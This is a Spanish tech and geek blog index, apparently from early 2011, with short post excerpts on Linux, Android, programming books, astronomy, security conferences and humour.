Espectacular solución a lo MacGyver para colocar un soporte para el móvil en el coche usando sólo un clip de esos grandes que tenemos por la oficina (para sujetar muchos papeles). Básicamente es colocar un pequeño soporte de goma en las asas y sujetarlo a la salida del aire. Esta idea es buena sobre todo cuando el coche no es tuyo (no tiene soporte) , uno alquilado por ejemplo, y quieres colocar tu móvil con GPS.

Echa un vistazo a esta idea en LifeHacker.

Ubuntu Snow

Ubuntu snow es una distribución de Ubuntu modificada para darle un aspecto visual al del Mac OSX. Como podéis en el vídeo que a continuación os dejo, tiene muy buena pinta.

Podéis descargar la ISO desde los siguientes enlaces:

http://www.megaupload.com/?d=8ZN9LDJP http://www.megaupload.com/?d=ZRIR2BYV http://www.megaupload.com/?d=VTPTC6TV http://www.megaupload.com/?d=1AS3CSLU http://www.megaupload.com/?d=I38C2R9P http://www.megaupload.com/?d=R2030FU5 http://www.megaupload.com/?d=8WIM3WS5 http://www.megaupload.com/?d=2RUKYVEW http://www.megaupload.com/?d=ZKM280MG http://www.megaupload.com/?d=YUV167NY http://www.megaupload.com/?d=6J3I9A9P

El nombre del usuario predeterminado es: caronte y la clave: odal.

Ingeniería inversa de tarjetas de satélite

Mejora el rendimiento de tu base de datos

Mucho se ha hablado de las bases de datos NoSQL. Que si la rapidez, el escalabilidad, etc, pero lo cierto es que las RDBMs de toda la vida (los más comunes), los sistemas de bases de datos relacionales son potentes, muy potentes, especialmente si tenemos cuidado con el diseño de la misma.

En Use the index, Luke, han publicado un libro totalmente gratuito dónde nos hace una introducción sobre como mejorar el rendimiento de bases de datos relacionales. El mismo está enfocado al uso de índices.

Preparando un entorno para crear aplicaciones …

 

En HowToForge vía Barrapunto hemos visto esta entrada donde se explica paso a paso cómo crear un entorno de programación bajo Linux (Ubuntu) para crear aplicaciones Android usando Eclipse, Android SDK y PhoneGap.

No os lo perdáis.

En memoria de los tripulantes del Challenger

 

Se nombraron estos siete cráteres en el borde oriental de la cuenca “Apollo”.

El Challenger se destruyó 28 de Enero de 1986 con toda su tripulación a bordo.

Visto en UniverseToday.

Bill Gates nunca dijo eso de los 640KB de RAM ...

 

640K [of computer memory] ought to be enough for anybody. — Bill Gates

640K (de RAM) debe de ser suficiente para todos - Bill Gates

Aquí se justifica diciendo:

I've said some stupid things and some wrong things, but not that. No one involved in computers would ever say that a certain amount of memory is enough for all time … I keep bumping into that silly quotation attributed to me that says 640K of memory is enough. There's never a citation; the quotation just floats like a rumor, repeated again and again.

He dicho algunas cosas estúpidas y algunas cosas erróneas, pero no esa. Nadie que esté involucrado con ordenadores diría que una cantidad de memoria es suficiente para siempre … no me libro de esta tonta frase atribuida a mi que dice que 640KB de memoria es bastante. Nunca ha habido una frase; esta nota sólo flota como un rumor, que se repite una y otra vez …

Visto en CodingHorror (por cierto, interesante post sobre la memoria RAM)

Zuckerberg vs Zuckerberg

Genial, en Saturday Night Live Mark Zuckerberg hace acto de aparición (después de un doble) junto a Jesse Esisenberg, actor de la película “La Red Social”. Podéis poner los subtítulos en inglés (no está en castellano).

Muy divertido, visto en Mashable.

The Vaccines, tres canciones que seguro te …

The Vaccines (Las Vacunas), el mejor remedio para todos los virus, incluidos los informáticos ;)

Juegos de Playstation en tu Android

Eso fue lo que anunció Sony en Tokyo. A través de un nuevo producto llamado PlayStation Suite, Sony pretende crear su propio market para Android desde el cual pondrán a disposición clásicos, eso sí, en principio sólo de la PSOne .

Según parece esta suite necesitará Android 2.3 (Gingerbread) o superior.

Más información en engadget.

Espectacular foto del Cráter Santa María tomada …

 

Nos os perdáis la foto de hoy publicada en Astronomy Picture of the Day, es realmente espectacular (es la foto que encabeza este post, pulsa en ella para verla al máximo de resolución).

En ella podrás ver una increible panorámica tomada por nuestra querida Opportunity del Cráter Santa María en Marte (90 metros de ancho) justo en su borde.

La Opportunity aún está en completo funcionamiento (después de 7 años sobre Marte para una misión de 3 meses) pero las comunicaciones se complicarán un poco ahora debido a una alineación de Marte con el Sol. La siguiente misión será el Cráter Endurance, de 22 km de diámetro y que se encuentra a 6 kilómetros de Santa María.

Programando un Analizador de Frecuencias para …

 

Windows

Genial programa en C++ ,  código fuente y además un tutorial explicando cómo funciona la física del sonido (eso sí, todo en inglés) totalmente freeware.

Desde el micrófono, cualquier melodia o sonido puede ser analizado con este programa en tiempo real usando como base la Transformada de Fourier. Puedes analizar tu voz (ideal para crear algún programa de reconocimiento de voz) y dividirla en diferentes partes según su frecuencia para luego observar los parámetros del habla de diferentes personas, las vocales y el sonido de las sílabas.

How to Code, lecciones desde LifeHacker para …

Curso express (en inglés)  para programar usando JavaScript como modelo para poder escribir el código con cualquier editor de texto y luego ver fácilmente el resultado en un navegador.  JavaScript es un lenguaje tipo ECMA, lo que hace más fácil comprender otros lenguajes similares como ActionScript y también puede ser una buena base para luego lidiar con lenguajes orientados a objetos.

Este curso está compuesto por 4 partes y un epílogo. Todas ellas constan de un video en alta calidad y un post explicando el contenido de cada parte como el que encabeza este post.

Er docu der finde: Los inventores de Google

Clever Algorithms

Clever Algorithms es otro libro gratuito que te puedes descargar desde aquí, leer desde el navegador o también, como de costumbre, puedes comprar su versión impresa.

El libro trata sobre el desarrollo de algoritmos sobre Inteligencia Artificial. Concretamente reúne un total de 45. Todos ellos escritos en Ruby.

Aquí tenéis la tabla de contenido:

1. Background
   1. Introduction: What is AI, Problem Domains, Unconventional Optimization, Book Organization, How to Read this Book, Further Reading
2. Algorithms
   1. Stochastic Algorithms: Random Search, Adaptive Random Search, Stochastic Hill Climbing, Iterated Local Search, Guided Local Search, Variable Neighborhood Search, Greedy Randomized Adaptive Search, Scatter Search, Tabu Search, Reactive Tabu Search.
   2. Evolutionary Algorithms: Genetic Algorithm, Genetic Programming, Evolution Strategies, Differential Evolution, Evolutionary Programming, Grammatical Evolution, Gene Expression Programming, Learning Classifier System, Non-dominated Sorting Genetic Algorithm, Strength Pareto Evolutionary Algorithm.
   3. Physical Algorithms: Simulated Annealing, Extremal Optimization, Harmony Search, Cultural Algorithm, Memetic Algorithm.
   4. Probabilistic Algorithms: Population-Based Incremental Learning, Univariate Marginal Distribution Algorithm, Compact Genetic Algorithm, Bayesian Optimization Algorithm, Cross-Entropy Method.
   5. Swarm Algorithms: Particle Swarm Optimization, Ant System, Ant Colony System, Bees Algorithm, Bacterial Foraging Optimization Algorithm.
   6. Immune Algorithms: Clonal Selection Algorithm, Negative Selection Algorithm, Artificial Immune Recognition System, Immune Network Algorithm, Dendritic Cell Algorithm.
   7. Neural Algorithms: Perceptron, Back-Propagation, Hopfield Network, Learning Vector Quantization, Self-Organizing Map.
3. Extensions
   1. Advanced Topics: Programming Paradigms, Devising New Algorithms, Testing Algorithms, Visualizing Algorithms, Problem Solving Strategies, Benchmarking Algorithms
4. Appendix
   1. Ruby: Quick-Start Guide

Y para el que le interese. También podéis acceder al proyecto del libro en GitHub.

Las últimas imágenes de Marte

Tomadas por la Mars Reconnaissance Orbiter el 26 de Enero de 2011.

Un virus en tu hardware

 

Hace unos meses, en Octubre de 2010, leí un artículo de la fantástica revista Investigación y Ciencia, en concreto su número 409, un artículo llamado “Microchips piratas” donde se explicaba una nueva vulnerabilidad en la seguridad informática basada en el diseño y fabricación de microchips.

Ya había oido algo sobre este problema, pero pensaba que la fabricación de un chip era algo seguro y un proceso de una sóla empresa,  pero ahora entre la crisis y la globalización, parece que esto ha cambiado bastante. Antes sólo había algunas empresas muy especializadas en la creación, diseño y fabricación de microchips (Intel, AMD, etc.) pero ahora casi cualquier empresa puede fabricar su propio chip. Y además este proceso involucra a miles de personas, países  y empresas repartidas por todo el mundo.  Antes era un proceso seguro, ya que se realizaba única y exclusivamente dentro de las instalaciones del fabricante en un entorno controlado, tanto el diseño como la fabricación.

Programming Android

Programming Android es un libro sobre programación para Android que podemos encontrar en la web de O'reilly.

Este libro que no está terminado todavía, está siendo desarrollado usando Open Feedback Publishing System (OFPS). Un sistema de pruebas de esta editorial, que intenta cubrir el vacío entre la publicación privada (libros) y la pública (blogs, etc).

Como verás en cada párrafo del libro, hay al lado un enlace desde el cual puedes comentar dicho párrafo, como errores, mejoras o simple comentarios sobre dicho párrafo. Para ello tienes que registrarte.

DaboBlog, un nuevo podcast para nuestra colección

 

Buscando podcasts en castellano al nivel de nuestro querido y añorado "El Geek Errante", hemos encontrado este creado por Dabo (David Hernández) que ha sido todo un agradable descubrimiento. No apto para principiantes y eso sí con total devoción casi diría que religiosa ;) a Debian, nos ofrece en cada episodio temas relacionados con el Software Libre, Linux y también un apartado para Apple llamado "Manzanas traigo".

Este es el enlace del blog donde puedes descargar los podcasts.

La tabla periódica de Google

Google ha agrupado en forma de tabla periódica todas las APIs y productos para desarrolladores. Una idea genial. Sólo tienes que abrir este enlace y hacer click sobre el "elemento" de dicha tabla que te interese.

Very neat!

Erupción del Kirishima por aficionados

OJO a partir del minuto 2:00 llueven piedras del tamaño de los árboles.

El volcán Kirishima, en la Prefectura de Kagoshima en el sur de Kyushu en Japón, entró ayer en erupción de forma espectacular. La nube ha alcanzado los 1500 m entrando así en alerta de nivel 3 por la agencia meteorológica japonesa.

El hackeo de la cuenta de Mark Zuckerberg, hace …

El hackeo sufrido por la página de fans de Mark Zuckerberg (MZ), ha provocado un incremento de la seguridad de Facebook. Los hackers publicaron un comentario haciéndose pasar por MZ:

Let the hacking begin: If facebook needs money, instead of going to the banks, why doesn’t Facebook let its users invest in Facebook in a social way? Why not transform Facebook into a ‘social business’ the way Nobel Prize winner Muhammad Yunus described it? http://bit.ly/fs6rT3 What do you think? #hackercup2011

Wii Skii Tragedii

Wii balance + perro suelto + jugador entusiasmado + tele 40" = Tragedii...

¡¡¡Y la wii balance gana el combateeeee!!! :-)

Link

Multiboot Windows Phone 7 y Android

En este vídeo se muestra como podemos instalar Windows Phone 7 y Android en una misma SD card. En este caso sobre un HTC HD2 y poder arrancar un sistema u otro.

Para más información puedes visitar este hilo en el foro de xda-developers.

Visto aquí

9 editores gratuitos y multiplataforma …

Aptana Studio Editor viene preparado para desarrollar HTML5, CSS3, Javasctript, Ruby, Rails, PHP y Python. También tiene integrado cliente de FTP, SFTP, terminal o incluso Git.

Komodo edit Este soporta PHP, Python, Ruby, Javascript, Perl, Tcl, XML, HTML5 y CSS3.

Code::Blocks Enfocado más a la programación C y C++.

Aptana RadRails Este como Aptana Studio, pero enfocado al desarrollo de Ruby on Rails. Incluye asistente inteligente, depurador visual, etc.

Acelera la navegación con Firefox y Chrome bajo …

El otro día a través de Hackaday, llegué a este otro artículo donde el autor nos explica a través de una serie de pasos como podemos mover la cache usada por Firefox o Chrome a memoria y así mejorar la velocidad de navegación.

Hoy día en cualquier distribución moderna de Linux, existe un dispositivo en /dev llamado shm. Este dispositivo se monta por defecto en el arranque del sistema. Es del tipo tmpfs y, por defecto en Ubuntu y CentOS, su tamaño es de la mitad de la memoria física que tengas. No sé cual será el tamaño por defecto en otras distribuciones.

Somos humanos, no máquinas

Curiosa e interesante iniciativa a su vez la de humans.txt. Aquellos que seáis administradores de sitios web segura que conocéis robots.txt.

Pues bien, en esta web han creado esta iniciativa crear un fichero llamado humans.txt, dónde puedes poner las personas que hay detrás de una web.

Este fichero se colocaría en el directorio raíz de tu web, al lado de robots.txt. Obviamente esto no es para nada obligatorio.

Además de crear dicho fichero, también recomiendan añadir:

En busca de la inteligencia artificial

The Quest for Artificial Intellignece, A History of Ideas and Achievements, es libro obviamente sobre inteligencia artificial escrito por Nils J. Nilsson de la Universidad de Stanford.

El autor nos guía a través del libro por sus 50 años inmerso en el estudio de esta materia. A través de las vivencias del autor desde principios de los 50s hasta la fecha, el autor nos cuenta como esta ciencia ha ido evolucionando.

EspAndroid - Android Market en tu navegador

EspAndroid.com te permite explorar Android Market desde tu navegador.

Aunque muy reciente y en constantes mejoras y ampliaciones, sin duda resulta cómoda para buscar aplicaciones android y juegos, que podrás instalar fácilmente en tu dispositivo leyendo el código QR con el Barcode Scanner.

El significado de los números en las tarjetas de …

Visto en Gizmodo.

ms-patch-tools

ms-patch-tools es un proyecto que, hasta ahora, se compone de 2 herramientas (escrita en python), capaces de extraer los parches (el binario) de los archivos .msu usado en Windows Vista y 7.

La primara de las utilidades se llama msux y ésta es la que es capaz de extraer los parches binarios. Aquí un pequeño ejemplo:

./msux.sh Usage: msux.sh [.msu file] ./msux.sh Windows6.0-KB979559-x86.msu Extracting file Windows6.0-KB979559-x86.msu… Patch cab is output.tmp/Windows6.0-KB979559-x86.cab Creating patch-files/win32k.sys.6.0.6001.18468 Creating patch-files/win32k.sys.6.0.6001.22682 Creating patch-files/win32k.sys.6.0.6002.18253 Creating patch-files/win32k.sys.6.0.6002.22396 ll patch-files/ total 7976 -rwxr-xr-x 1 user None 2036224 Jan 11 23:01 win32k.sys.6.0.6001.18468 -rwxr-xr-x 1 user None 2036736 Jan 11 23:01 win32k.sys.6.0.6001.22682 -rwxr-xr-x 1 user None 2037248 Jan 11 23:01 win32k.sys.6.0.6002.18253 -rwxr-xr-x 1 user None 2045440 Jan 11 23:02 win32k.sys.6.0.6002.22396

Presentaciones de la Black Hat DC 2011

Ya están disponibles todas las charlas, presentaciones y textos, de las charlas acontecidas en Washington DC durante la celebración de la Black Hat de este año 2011.

Podéis acceder a dichas presentaciones desde este enlace.

8BITS - 2011 Sundance Film Festival (Corto)

Migala, "Aquel Incendio" ... ya es domingo por la …

 

Como dice un comentario en Youtube, esta canción me rompe el alma …

Migala, genios de la música de este país lleno de musicuchos que salen hasta en las noticias día tras día diciendo y cantando tonterías, cuando tenemos grupazos como este prácticamente olvidados …

Yo siempre seré un fiel seguidor de Migala …

El "calientamanos" para Android

 

Vaya app más absurda y peligrosa llamada "The Handwarmer". Simplemente lo que hace es calentar el dispositivo Android forzándolo al máximo para mantenerte las manitas siempre calentitas.

Se me ocurren otras formas de calentarte las manos antes de quedarte sin Android usando esta aplicación.

Pero bueno, ahí está … por cierto, es grátis.

Visto en ElAndroideLibre y aquí.

Nuevo trailer de Juego de Tronos

 

Juego de Tronos, se estrena en Abril.

Guía para asegurar tu blog - WordPress

Creo que WordPress no necesita presentación alguna, entre otras cosas por ser el software más usado en la blogosfera. Por este motivo, quizás sea también uno de los objetivos principales de los chicos malos... y de los buenos también o black, white, gray, yellow... hat... you name it.

Dicho esto, después de que instalemos nuestro blog y lo configuremos, etc. Es muy importante que también tomemos una serie de medidas de seguridad mínimas, para protegernos de ataques maliciosos.

Battle Critters - Prison Planet, para divertirse …

 

Juego tipo Tower Defense  donde tienes que evitar la fuga de humanos de una prisión colocando guardas y otras herramientas para detenerlos.  Además obtienes monedas con las cuales puedes comprar otros modelos de armas y guardias.

Muy adictivo, visto en HowToGeek.

Para jugar, aquí tienes el enlace.

Crea tu propio planeta con Nasa Planet Makeover

 

Ahora que estamos descubriendo planetas extrasolares por día (llevamos más de 500), este programa de la NASA te permite imaginarte planetas y crearlos a partir de parámetros como: distancia a la estrella, tamaño del planeta, tipo de estrella (F,G ó M) y edad. No son muchos pero pasarás un rato divertido viendo cómo cambia un planeta en función de dichos parámetros. También tiene una galería de planetas y puedes descargar el que has creado.

Er docu der finde: Hackers: Defcon

ARobots

ARobots es un juego de batalla entre robots que se desarrolla en un área de 1 km cuadrado.

No, no usas joystick, pad o ratón. Tu jugador tienes que programarlo en ensamblador 8086. El juego acepta hasta 6 robots en una misma batalla.

Los robots van perdiendo vida o incrementando el daño cada vez que hay una colisión o cuando un misil explota a menos de 40 metros del mismo. Un robot tiene una vida de 100 puntos de daño. La velocidad de éstos es de 1 metro por segundo y les toma 1 segundo para acelerar 0.01 metros, desacelerar 0.05 m o rotar 10 grados.

An apple a day...

Cámara atada a una flecha

Enlace original

Soundminer te escucha

Soundminer es el resultado de un trabajo de investigación sobre seguridad en sistemas Android. Esto es una prueba de concepto de como con unos permisos mínimos en el sistema, una aplicación podría robar datos confidenciales del usuario y trasmitirlos a algún servidor malicioso.

En este caso Soundminer es capaz de robar números de tarjetas de crédito, tanto hablado (en una llamada de teléfono), como introducido desde el teclado (capturando los tonos). Esta aplicación usa el micrófono del terminal para grabar los sonidos (voz y tonos), analizarlos y luego transmitirlos. La transmisión la hace usando otro programa como puente.

Quién manda en los geeks/nerds (humor)

 

Fantástico, digno de una camiseta :)

Visto en menéame.

Actualiza Windows y Office sin Internet

 

Esta herramienta portable te permite generar ISOs, para grabarlo en un CD/DVD ó incluso la opción para volcar los ficheros a un disco externo USB, con las actualizaciones que necesites para Windows  y Office en todas sus versiones (también incluye la opción de actualizar Microsoft Security Essentials). Esto viene bien para entornos que no tienen conexión directa a Internet o donde no hay un WSUS que los actualice.

Puedes descargarla desde aquí.

Instalando Virtual Box 4 en Ubuntu

En esta entrada os dejo los comandos que he ejecutado para actualizar mi Virtual Box 3.2 a la última versión estable 4.0.

Lo primero que vamos a hacer es añadir el repositorio de Oracle a nuestro sistema, así como la clave para validarnos contra dicho repositorio:

sudo echo "deb http://download.virtualbox.org/virtualbox/debian $(lsb_release -sc) contrib" | sudo tee -a /etc/apt/sources.list
sudo wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | sudo apt-key add -

Ahora refrescamos nuestro apt-get para que lea los paquetes disponibles en el nuevo repositorio.

Instala las utilidades de la BackTrack en Ubuntu

Si usas linux en el día a día, concretamente Ubuntu y eres de los que le gusta trastear con el tema de seguridad o simplemente te dedicas a ello, este script te va a resultar muy útil. Ya que a través del mismo puedes instalar todas las utilidades de la Backtrack en tu sistema, incluido el menú. Así que ya no tienes que tener una Backtrack a mano si ya usas Ubuntu.

Modos de dificultad extrema en varios videojuegos …

El mejor, el PONG :))

Visto en TheAwesomer.

The Art and Science of Smalltalk

Smalltalk es un lenguaje orientado a objectos y de tipado dinámico. Fue creado en los 70s para fines educativos y su primera versión estable se llamó Smalltalk-80 que precisamente vio la luz en 1980.

The Art and Science of Smalltalk, ahora es un libro gratuito que te puedes descargar desde aquí (PDF). El libro no sólo te enseña las bondades del lenguaje, sino también técnicas de programación orientada a objetos, debugging, etc.

Primer foro OSSTMM

La OSSTMM (Open Source Security Testing Methology Manual) celebrará su primer foro o reunión los próximos 17 y 18 de Febrero en Barcelona, España.

Esta es una gran oportunidad que aquellos que quieran conocer en detalle como este proyecto y además siempre podrás participar y formar parte de la próxima versión del mismo.

La agenda, aunque no definitiva:

Feb. 17 9:00 Keynote: The Unsolved Issues 10:00 OSSTMM Analysis How it works Feedback / Q&A 11:30 OSSTMM Security Metrics How it works Feedback / Q&A 13:00 Break for Lunch 14:30 OSSTMM Trust Metrics How it works Feedback / Q&A 16:00 OSSTMM Channels, Modules, and Tasks How it works Feedback / Q&A 17:30 Networking Mixer 19:00 End Day 1.

LEGO Angry Birds y juego de mesa

LEGO Angry Birds:

Y juego de tablero:

Visto en NerdApproved.

Tron Legacy 8 bits, el video

Visto en 8bits.

Esto sí que es un juego realista de fútbol (humor)

Visto en Kotaku.

Las mejores fotografías del Dakar 2011

La carrera más dura y peligrosa del planeta: 10.000 km en 13 etapas con 400 equipos, 200 motos, 140 coches y 67 camiones... de todo esto tienen que salir imágenes espectaculares, sí o sí.

Link

El cosplay de los fantasmas del Pac-Man

Visto en la fantástica 8Bits.

Codes in the Clouds, "Paper Canyon" para este …

… dan ganas de hacer lo mismo …

Espectacular Codes in the Clouds (link MySpace), esta canción es sólo un trailer anunciando su disco debut “Paper Canyon” en 2008.

Battle: Los Angeles, otra película de invasión …

 Ya veremos, desde luego el trailer tiene muy buena pinta, es una mezla de "Distrito 9" con "Black Hawk derribado" pero con extraterrestres. Se estrenará durante 2011 y espero que no sea otra decepción (por no llamarlo mierd*) como SkyLine, de verdad, no pierdas el tiempo viéndola, da verguenza ajena.

Visto en ZonaFandom.

Gonzalo Álvarez Marañón y el Curso de "El Arte de …

 

Ya mencioné en un post anterior  a Gonzalo Álvarez Marañón, al que conocimos en la Blog Camp pero que ya vimos en una espectacular charla sobre criptografía cuántica "¿Sueñan los crackers con ordenadores cuánticos?" ,  en Valencia durante los cursos de verano de 2010.  Gonzalo es Doctor en Informática e Ingeniero de Telecomunicaciones y trabaja para el CSIC, pero tiene otra pasión, el arte de presentar ;). Le encanta transmitir conocimientos y eso se nota viendo la intesidad, el dominio de la materia y el interés que pone en sus presentaciones. En 40 minutos nos explicó las bases de la criptografía cuántica y lo entedimos y todo ;).  

Tenéis un ejemplo en el enlace que os he puesto sobre su charla de criptografía, pero no dudéis en ir a su web llamada precisamente, el arte de presentar donde encontrarás las mejores conferencias (sobre todo de TED) y consejos para ofrecer una buena presentación ante el público. Aquí le tenéis hablando sobre el arte de presentar en La Casa Encendida de Madrid:

Counter Strike Vs Strippers

¿A ver cuantos frags haces ahora? ;-) Sábado calentito. Sí, ya sé que es antiguo pero no hay mejor forma de empezar el finde ni de vender un videojuego a adolescentes.

Todas las fotos

La Royal Society Británica pide protocolo para …

¿Están los aliens cabreados?

La sociedad científica británica publica en su última revista, Philosophical Transactions, una advertencia a los gobiernos del mundo sobre un posible encuentro futuro con razas alienígenas violentas. Las últimas afirmaciones de Stephen Hawking fueron criticadas ya que asemejan mucho el primer contacto alienígena con la brutal colonización de América por parte de los españoles. "Vendrán en busca de recursos" alerta el profesor de paleobiología evolutiva en la Universidad de Cambridge Simon Conway Morris, quien considera que la vida biológica debe tener en todo el universo unas características similares a las de la tierra. Por todo ello dicen que hay que crear un grupo en la ONU dedicado a "asuntos extraterrestres" con la capacidad de trazar un plan  y estar preparados para lo peor.

Wargame SbD I

En pocas horas dará comienzo el Wargame preparado por los chicos de SecurityByDefault y PandaSecurity.

Copio literalmente:

Después de algún que otro retraso / demora (pura estrategia de marketing ...) nos complace anunciar que el Primer Wargame de Security By Default empezará el 15-01-2011 a las 00 horas GMT.

En el Wargame puedes participar tanto individualmente como en grupo.

Las categorias del wargame son las siguientes:

• Trivial
• Networking
• Binarios
• Crypto
• Web

Cada una de las categorías consta de 3 pruebas cuyo nivel aumenta en función del número de la prueba, es decir crypto03 es bastante mas compleja que crypto01. Los niveles tienen puntuación diferente, el nivel uno de cada prueba vale 100, nivel dos 150 puntos, nivel tres 200 puntos. El primer acertante de cada prueba tiene un bonus de +1 +2 y +3 en cada nivel, es decir, si tu sacas bin02 el primero, tendrás una puntuación de 152 puntos, el siguiente que la saque 150

Para más información visita la entrada original.

Intypedia, la enciclopedia visual de criptografía

 

La web de Intypedia Project es un proyecto de CRIPTORED  con el apoyo de la Universidad Politécnica de Madrid, donde diferentes expertos en la materia (entre ellos nuestro amigo Gonzalo Álvarez Marañón, del que luego hablaremos un poco más en un post que estoy preparando de un curso que impartirá en Madrid sobre el Arte de Presentar) diseñan cada lección.

Son diferentes videos (con actores renderizados) explicando todos los apartados de la seguridad de la información (sistemas de cifrado actuales, autenticación, firma digital, seguridad en redes e Internet, malware, normativas, etc…).  Cada video tiene una duración de unos 11 minutos y además puedes descargar su guión, las diapositivas o incluso ejercicios.

Er docu der finde: Arduino, the documentary …

Arduino The Documentary (2010) Spanish HD from gnd on Vimeo.

Reloj de hombres desnudos

Si haces click sobre el mismo, cambia al formato.

Si no se ve el reloj completo, podéis verlo en este enlace.

Street Fighter + TRON

Realizados por el ilustrador Logix de Melbourne, Australia.

Link

Chuleta sobre canvas HTML5... jugable?!?

En este enlace podemos encontrar otra chuleta, plantilla, cheat sheet... sobre el canvas de HTML5. Puedes verla en formato PDF o PNG. Hasta aquí todo normal, nada nuevo. Pero ojo al fondo de pantalla de la entrada, es un Mario al que puedes jugar usando los cursores.

Vale la chuleta no es jugable, pero sí la entrada :-).

Reemplaza OpenOffice.org por LibreOffice

Después de la compra de Sun por parte de Oracle, muchos de los trabajadores de Sun se han ido yendo poco a poco, algunos incluso antes de que la compra finalizara.

En algunos de los casos dichos trabajadores se han llevado, bueno no se han llevado, pero han creado forks de algunos de los proyectos en los que trabajaban gracias a sus licencias. Uno de estos proyectos es OpenOffice.org, la suite ofimática que viene instalada por defecto en la mayoría de las distribuciones de Linux o Hudson que cuyo proyecto ha sido movido fuera de los servidores de Oracle (java.net) y cuyo nombre ahora será Jenkins.

X Festival Internacional de la Imagen: arte …

Este festival se empezando a considerar de relevancia internacional debido a la cantidad de artistas y talleres que se realizan en los seis días que dura. Esta pensado para ser un espacio de encuentro y debate de temas como el diseño visual, las artes electrónicas, la creación audiovisual digital, el sonido digital y electroacústico, y en general, las nuevas relaciones entre arte, diseño, ciencia y tecnología. La metodología para intentar abarcar tantos temas será parecido al de otros años: encuentros presenciales, seminarios científicos especializados, convocatorias nacionales e internacionales, foros de análisis, conciertos, talleres, exposiciones y transmisiones vía Web, entre otros.

Vídeos oficiales de la CCC

Ya están disponibles todos los vídeos de la Chaos Communication Congress en la web oficial. O si lo prefieres puedes verlos en youtube.

Os copio la tabla de contenido:

VID	Title	H.264	MP3	OGG
3952	Running your own GSM stack on a phone	mp4	mp3	ogg
3957	Recent advances in IPv6 insecurities	mp4	mp3	ogg
3983	Hackers and Computer Science	mp4	mp3	ogg
4003	Cybernetics for the Masses	mp4	mp3	ogg
4006	DIY synthesizers and sound generators	mp4	-	-
4011	JTAG/Serial/FLASH/PCB Embedded Reverse Engineering Tools and Techniques	mp4	-	-
4017	Desktop on the Linux... (and BSD, of course)	mp4	-	-
4018	FrozenCache	mp4	-	-
4036	Reverse Engineering a real-world RFID payment system	mp4	-	-
4046	AllColoursAreBeautiful	mp4	mp3	ogg
4055	Terrorists Win - Exploiting Telecommunications Data Retention?	mp4	-	-
4057	Adventures in Mapping Afghanistan Elections	mp4	-	-
4060	SMS-o-Death	mp4	-	-
4061	Building Custom Disassemblers	mp4	mp3	ogg
4067	Data Analysis in Terabit Ethernet Traffic	mp4	mp3	ogg
4070	Fnord-Jahresrückblick 2010	mp4	mp3	ogg
4073	Logikschaltungen ohne Elektronik	mp4	mp3	ogg
4081	Netzmedienrecht, Lobbyismus und Korruption	mp4	-	-
4082	Rootkits and Trojans on Your SAP Landscape	mp4	-	-
4084	Ignorance and Peace Narratives in Cyberspace	mp4	-	-
4085	Digitale Spaltung per Gesetz	mp4	mp3	ogg
4087	Console Hacking 2010	mp4	-	-
4089	Ich sehe nicht, dass wir nicht zustimmen werden	mp4	mp3	ogg
4090	The Baseband Apocalypse	mp4	-	-
4094	Netzneutralität und QoS - ein Widerspruch?	mp4	mp3	ogg
4096	Code deobfuscation by optimization	mp4	-	-
4097	Techniken zur Identifizierung von Netzwerk-Protokollen	mp4	-	-
4098	Tor is Peace, Software Freedom is Slavery, Wikipedia is Truth	mp4	mp3	ogg
4099	File -> Print -> Electronics	mp4	-	-
4103	Copyright Enforcement Vs. Freedoms	mp4	mp3	ogg
4111	Eins, zwei, drei - alle sind dabei	mp4	-	-
4114	Analyzing a modern cryptographic RFID system	mp4	mp3	ogg
4121	Is the SSLiverse a safe place?	mp4	-	-
4123	Defense is not dead	mp4	-	-
4124	Three jobs that journalists will do in 2050	mp4	mp3	ogg
4125	Spinning the electronic Wheel	mp4	-	-
4138	Secure communications below the hearing threshold	mp4	-	-
4140	Contemporary Profiling of Web Users	mp4	mp3	ogg
4141	Hacker Jeopardy	mp4	-	-
4142	Node.js as a networking tool	mp4	mp3	ogg
4143	Part-Time Scientists	mp4	-	-
4144	A short political history of acoustics	mp4	-	-
4145	"Spoilers, Reverse Green, DECEL!" or "What's it doing now?"	mp4	mp3	ogg
4149	I Control Your Code	mp4	-	-
4151	Android geolocation using GSM network	mp4	-	-
4159	Reverse Engineering the MOS 6502 CPU	mp4	-	-
4160	Automatic Identification of Cryptographic Primitives in Software	mp4	mp3	ogg
4164	Friede sei mit Euren Daten	mp4	mp3	ogg
4168	A framework for automated architecture-independent gadget search	mp4	mp3	ogg
4174	The Hidden Nemesis	mp4	-	-
4175	From robot to robot	mp4	mp3	ogg
4176	Hacking iButtons	mp4	mp3	ogg
4181	SIP home gateways under fire	mp4	-	-
4183	Safety on the Open Sea	mp4	-	-
4184	Stanislaw Lem - Der enttäuschte Weltverbesserer	mp4	mp3	ogg
4185	Whistleblowing	mp4	mp3	ogg
4187	Your Infrastructure Will Kill You	mp4	-	-
4190	Data Retention in the EU five years after the Directive	mp4	mp3	ogg
4193	Having fun with RTP	mp4	mp3	ogg
4195	Literarischer Abend	mp4	-	-
4201	"The Concert"	mp4	mp3	ogg
4203	Distributed FPGA Number Crunching For The Masses	mp4	-	-
4206	IMMI, from concept to reality	mp4	-	-
4208	Wideband GSM Sniffing	mp4	-	-
4209	Zero-sized heap allocations vulnerability analysis	mp4	mp3	ogg
4210	Lying To The Neighbours	mp4	mp3	ogg
4211	Chip and PIN is Broken	mp4	mp3	ogg
4221	OMG WTF PDF	mp4	mp3	ogg
4230	Security Nightmares	mp4	mp3	ogg
4231	Data Recovery Techniques	mp4	mp3	ogg
4234	USB and libusb	mp4	mp3	ogg
4236	International Cyber Jurisdiction	mp4	mp3	ogg
4237	INDECT - an EU-Surveillance Project	mp4	mp3	ogg
4239	Lightning Talks - Day 3	mp4	mp3	ogg
4244	A Critical Overview of 10 years of Privacy Enhancing Technologies	mp4	mp3	ogg
4245	Adventures in analyzing Stuxnet	mp4	mp3	ogg
4252	Von Zensursula über Censilia hin zum Kindernet	mp4	mp3	ogg
4253	Pentanews Game Show	mp4	mp3	ogg
4261	News Key Recovery Attacks on RC4/WEP	mp4	mp3	ogg
4263	The importance of resisting Excessive Government Surveillance	mp4	mp3	ogg
4265	hacking smart phones	mp4	mp3	ogg
4276	Cognitive Psychology for Hackers	mp4	mp3	ogg
4295	High-speed high-security cryptography: encrypting and authenticating the whole Internet	mp4	mp3	ogg
4296	Lightning Talks - Day 2	mp4	mp3	ogg
4297	"Die gesamte Technik ist sicher"	mp4	mp3	ogg
4298	CCC-Jahresrückblick 2010	mp4	mp3	ogg
4299	Abschlussveranstaltung	mp4	mp3	ogg
